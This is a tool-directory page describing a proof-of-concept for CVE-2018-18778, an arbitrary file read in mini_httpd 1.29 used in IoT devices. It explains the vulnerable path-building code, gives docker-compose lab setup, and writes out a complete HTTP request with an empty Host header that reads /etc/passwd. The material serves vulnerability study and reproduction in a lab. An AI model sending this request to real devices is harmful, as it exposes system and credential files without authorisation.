Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Mini_httpd-CVE-2018-18778 — PoC exploit for CVE-2018-18778: arbitrary file read in mini_httpd 1.29 via empty Host header, affecting IoT devices from Huawei, Zyxel, and others. | Kitploit
Tools/GitHubGitHub/cyberharsh/mini_httpd-cve-2018-18778
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationFuzzing
GitHubcyberharsh/mini_httpd-cve-2018-18778

Mini_httpd-CVE-2018-18778

Share

PoC exploit for CVE-2018-18778: arbitrary file read in mini_httpd 1.29 via empty Host header, affecting IoT devices from Huawei, Zyxel, and others.

View Repository
816 years agoNot yet reviewed

mini_httpd Arbitrary File Read Vulnerability (CVE-2018-18778)

Mini_httpd is a miniature HTTP server that can maintain a certain level of performance (about 90% of Apache) while occupying minimal system resources. Therefore, it is widely used as an embedded server in various IoT devices (routers, switches, cameras, etc.). Manufacturers including Huawei, Zyxel, Hikvision, and Raspberry Pi have adopted the mini_httpd component in their devices.

When mini_httpd runs in virtual host mode, a user request for http://HOST/FILE will access the HOST/FILE file under the current directory.

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

See the code above. Analysis is as follows:

  • When HOST=example.com and FILE=index.html, the result of the above statement is example.com/index.html, and the file is read normally.
  • When HOST is empty and FILE=etc/passwd, the result of the above statement is /etc/passwd.

The latter is treated as an absolute path, thus reading /etc/passwd, causing an arbitrary file read vulnerability.

Environment Setup

Execute the following command to start mini_httpd 1.29:

docker-compose up -d

After the environment is started, visit http://your-ip:8080 to see the web page.

Vulnerability Reproduction

Send a request with Host set to empty and the PATH value being the absolute path of the file:

GET /etc/passwd HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


Successfully read the file:

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    732
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    405
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    342
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    261
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259

Explore all tools

Browse our collection of tools

View all tools →